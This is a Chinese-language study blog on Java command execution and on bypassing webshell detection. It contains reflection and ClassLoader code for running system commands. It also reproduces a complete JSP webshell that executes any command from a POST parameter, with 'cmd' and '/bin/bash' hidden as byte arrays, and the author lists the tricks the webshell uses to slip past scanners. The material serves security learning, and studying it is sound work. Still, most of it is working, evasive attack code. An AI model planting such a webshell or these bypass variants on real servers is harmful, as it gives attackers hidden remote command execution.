Javawebshell&绕过相关知识学习

学一下java的相关的马 内存马单独拉出来讨论 这里不涉及

https://k-anz.hatenablog.com/entry/2018/07/15/102648

https://www.anquanke.com/post/id/214435

https://github.com/threedr3am/JSP-Webshells

webshell-detect-bypass/using-java-reflection-and-ClassLoader-bypass-webshell-detection.md at master · LandGrey/webshell-detect-bypass (github.com)

java命令执行

1
2
java.lang.Runtime
java.lang.ProcessBuilder

方法

Runtime

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package com.exec;

import java.io.ByteArrayOutputStream;
import java.io.InputStream;

public class runtime {
public static void main(String[] args) throws Exception {
InputStream in = Runtime.getRuntime().exec("whoami").getInputStream();
byte[] bcache = new byte[1024];
int readSize = 0; //每次读取的字节长度
ByteArrayOutputStream infoStream = new ByteArrayOutputStream();
while ((readSize = in.read(bcache)) > 0) {
infoStream.write(bcache, 0, readSize);
}
System.out.println(infoStream.toString());
}
}

ProcessBuilder

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package com.exec;

import java.io.ByteArrayOutputStream;
import java.io.InputStream;

public class process {
public static void main(String[] args) {
try {
InputStream in = new ProcessBuilder("whoami").start().getInputStream();
byte[] bs = new byte[2048];
int readSize = 0; //每次读取的字节长度
ByteArrayOutputStream infoStream = new ByteArrayOutputStream();
while ((readSize = in.read(bs)) > 0) {
infoStream.write(bs, 0, readSize);
}
System.out.println(infoStream.toString());
} catch (Exception e) {
System.out.println(e.toString());
}
}
}

ProcessImplExec

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package com.exec;

import java.io.ByteArrayOutputStream;
import java.lang.ProcessBuilder.Redirect;
import java.lang.reflect.Method;
import java.util.Map;

public class ProcessImplExec {
public static void main(String[] args) throws Exception {
String[] cmds = new String[]{"whoami"};
Class clazz = Class.forName("java.lang.ProcessImpl");
Method method = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, Redirect[].class, boolean.class);
method.setAccessible(true);
Process e = (Process) method.invoke(null, cmds, null, ".", null, true);
byte[] bs = new byte[2048];
int readSize = 0;
ByteArrayOutputStream infoStream = new ByteArrayOutputStream();
while ((readSize = e.getInputStream().read(bs)) > 0) {
infoStream.write(bs, 0, readSize);
}
System.out.println(infoStream.toString());
}
}

原理

首先看 Runtime 类 是private 所以 不能直接获得Runtime类的实例,只能通过其getRuntime()方法来间接获取一个Runtime类的实例

image-20230325163803998

跟一下exec

image-20230325164139237 image-20230325164202515 image-20230325164252454

可以发现调用了ProcessBuilder 类, 接着跟

然后跟到了 ProcessBuilder 类 构造方法

image-20230325164648215

将任务加到command里

image-20230325164759712

然后通过 start 来执行

image-20230325164902428

然后发现是继承自 Process 而构造方法

image-20230325165155863

接着看 会发现 ProcessImpl 是 private ,所以无法直接在java.lang包外直接调用ProcessImpl类

image-20230325165237511

总结

image-20230325165421707

java字节码

之前写的乱七八糟 没啥用

Java反序列化之字节码二三事 - FreeBuf网络安全行业门户

编译这一段代码 用锤子 编译好的在out目录下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package com.exec;

import java.io.IOException;

// URLClassLoader 的 file 协议
public class calc {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e){
e.printStackTrace();
}
}
}
image-20221011110602985

编写 URLClassLoader启动类

遇到点小bug

「创宇小课堂」代码审计-Java字节码加载 (baidu.com)

img

URLClassLoader继承了ClassLoader,URLClassLoader提供了远程加载的能力,在写漏洞利用的payload或者webshell的时候我们可以使用这个特性来加载远程的jar来实现远程的类方法调用

  • URL以/结尾,则认为是一个JAR文件,使用JarLoader来寻找类,即为在Jar包中寻找.class文件
  • URL以/结尾,且协议名是file,则使用FileLoader来寻找类,即为在本地文件系统中寻找.class文件
  • URL以/结尾,且协议名不是file,则使用最基础的Loader来寻找类

绕过

主要是先学习 ( 搬运 ~ + 感悟

用ProcessBuilder绕过检测

emmm 上面该跟的都跟过了 现在来看看 具体怎么用

因为 ProcessImpl 是 private 而 ProcessBuilder 是 public 所以我们这里用它

JSP

1
2
3
4
<%@ %>    页面指令,设定页面属性和特征信息
<% %> java代码片段,不能在此声明方法
<%! %> java代码声明,声明全局变量或当前页面的方法
<%= %> Java表达式

以下测试全都在用 tomcat 7.0.109

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<%@ page pageEncoding="utf-8"%>
<%@ page import="java.util.Scanner" %>
<HTML>
<title>Just For Fun</title>
<BODY>
<H3>Build By LandGrey</H3>
<FORM METHOD="POST" NAME="form" ACTION="#">
<INPUT TYPE="text" NAME="q">
<INPUT TYPE="submit" VALUE="Fly">
</FORM>

<%
String op="Got Nothing";
String query = request.getParameter("q");
String fileSeparator = String.valueOf(java.io.File.separatorChar);
Boolean isWin;
if(fileSeparator.equals("\\")){
isWin = true;
}else{
isWin = false;
}

if (query != null) {
ProcessBuilder pb;
if(isWin) {
pb = new ProcessBuilder(new String(new byte[]{99, 109, 100}), new String(new byte[]{47, 67}), query);
}else{
pb = new ProcessBuilder(new String(new byte[]{47, 98, 105, 110, 47, 98, 97, 115, 104}), new String(new byte[]{45, 99}), query);
}
Process process = pb.start();
Scanner sc = new Scanner(process.getInputStream()).useDelimiter("\\A");
op = sc.hasNext() ? sc.next() : op;
sc.close();
}
%>

<PRE>
<%= op %>>
</PRE>
</BODY>
</HTML>

分析一下 他做了哪些事

  1. 避免出现敏感变量名
    如”cmd”、”spy”、”exec”、”shell”、”execute”、”system”、”command”等等
  2. 字符串拆解重组
    将”cmd”、”/c”和”/bin/bash”、”-c”等都做了处理,由字节转为字符串
  3. 使用Scanner接收回显
    接收命令回显数据时,避免使用BufferedReader等常见手段
  4. 用fileSeparator来判断操作系统类型
    一般使用System.getProperty/getProperties获取操作系统的类型,这里使用路径分隔符简单判断,然后再选用”cmd /c”或者”/bin/bash -c”来执行命令
  5. 不导入过多的包

学到了学到了

使用Java反射机制绕过检测

反射Runtime

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
package com.exec;

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.reflect.Method;

public class runtime {
public static void main(String[] args) throws Exception {
// 获取Runtime类对象
Class<?> runtimeClass = Class.forName("java.lang.Runtime");

// 获取exec方法
Method getRuntime = runtimeClass.getDeclaredMethod("getRuntime");
Method execMethod = runtimeClass.getMethod("exec", String.class);

// 构造要执行的命令
String command = "whoami";

// 调用exec方法并执行命令
Process process = (Process) execMethod.invoke(getRuntime.invoke(null),command);

// 检查Process对象是否为空
if (process != null) {

// 获取Process的InputStream
InputStream inputStream = process.getInputStream();

// 创建一个BufferedReader来读取InputStream的内容
BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));

// 读取每一行并输出到控制台上
String line = null;
while ((line = reader.readLine()) != null) {
System.out.println(line);
}

} else {
// 处理Process对象为空的情况
System.out.println("执行命令失败!");
}
}
}

然后把一些东西换成字节就ok啦

反射ProcessBuilder

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
package com.exec;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Collections;
import java.util.List;

public class ProcessBuilderInvoke {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException, InterruptedException, IOException {
// 创建一个命令列表
List<String> command = new ArrayList<>(Collections.singletonList("whoami"));

// 获取 ProcessBuilder 的 Class 对象
Class<?> PB = Class.forName("java.lang.ProcessBuilder");

// 获取 ProcessBuilder 的构造器对象
Constructor<?> constructor = PB.getConstructor(List.class);

// 创建 ProcessBuilder 对象
Object obj = constructor.newInstance(command);

// 获取 ProcessBuilder 的 start 方法对象
Method m = PB.getMethod("start");

// 启动子进程
Process process = (Process) m.invoke(obj);

if (process != null) {

// 获取Process的InputStream
InputStream inputStream = process.getInputStream();

// 创建一个BufferedReader来读取InputStream的内容
BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));

// 读取每一行并输出到控制台上
String line = null;
while ((line = reader.readLine()) != null) {
System.out.println(line);
}

} else {
// 处理Process对象为空的情况
System.out.println("执行命令失败!");
}


}
}

关于反射ProcessImpl

见 第一部分 方法 ProcessImplExec

使用Java类加载机制绕过检测

原理复杂,实现起来其实比较简单,即将获得Class对象的方式由

Class rt= Class.forName("java.lang.Runtime"); 改成

Class rt = ClassLoader.getSystemClassLoader().loadClass("java.lang.Runtime");的形式即可,反射ProcessBuilder同理。